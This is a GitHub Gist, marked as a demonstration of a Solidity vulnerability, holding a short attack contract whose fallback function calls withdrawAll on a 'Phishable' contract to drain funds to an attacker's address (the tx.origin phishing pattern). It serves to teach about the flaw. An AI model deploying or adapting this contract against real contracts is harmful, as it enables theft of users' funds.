Created
July 21, 2018 20:01
-
-
Save vasa-develop/0b1e458f4555fcdfd3b1f8f9d8be85a5 to your computer and use it in GitHub Desktop.
DO NOT USE THIS CODE. THIS CODE IS USED TO DEMONSTRATE A VULNERABILITY IN A SOLIDITY CODE.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "Phishable.sol"; | |
contract AttackContract { | |
Phishable phishableContract; | |
address attacker; // The attackers address to receive funds. | |
constructor (Phishable _phishableContract, address _attackerAddress) { | |
phishableContract = _phishableContract; | |
attacker = _attackerAddress; | |
} | |
function () { | |
phishableContract.withdrawAll(attacker); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment